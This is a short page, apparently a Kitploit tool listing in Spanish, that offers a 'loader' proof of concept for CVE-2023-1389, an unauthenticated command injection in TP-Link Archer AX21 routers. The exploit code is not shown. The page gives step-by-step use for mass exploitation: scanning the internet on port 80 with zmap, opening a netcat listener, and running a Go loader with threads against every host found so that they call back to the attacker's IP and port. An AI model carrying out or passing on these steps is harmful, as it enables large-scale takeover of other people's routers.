CVE-2023-1389 — TP-Link Archer AX21 - Inyección de comandos sin autenticación [Loader] | Kitploit

TP-Link Archer AX21 - Inyección de Comandos No Autenticada [Loader POC]

CVE-2023-1389

Título del Exploit: TP-Link Archer AX21 - Inyección de Comandos No Autenticada

Fecha de Descubrimiento : 25/07/2023

Autor del Exploit: Voyag3r

How to Use :-

*Scanning*
- Use Zmap  : zmap -p 80 -o list.txt 

*NetCat Listener
- apt install netcat -y
- nc lnvp <port>

*Loader
- go run . --host=<netcat_listener_ip> --port=<netcat_listener_port> --list=list.txt --threads=<threads>

* Logging
- Error : Webserver Inactive or unresponsive
- Success : Payload Sent with Request Code 200
- Status : Response Code

Descargar herramienta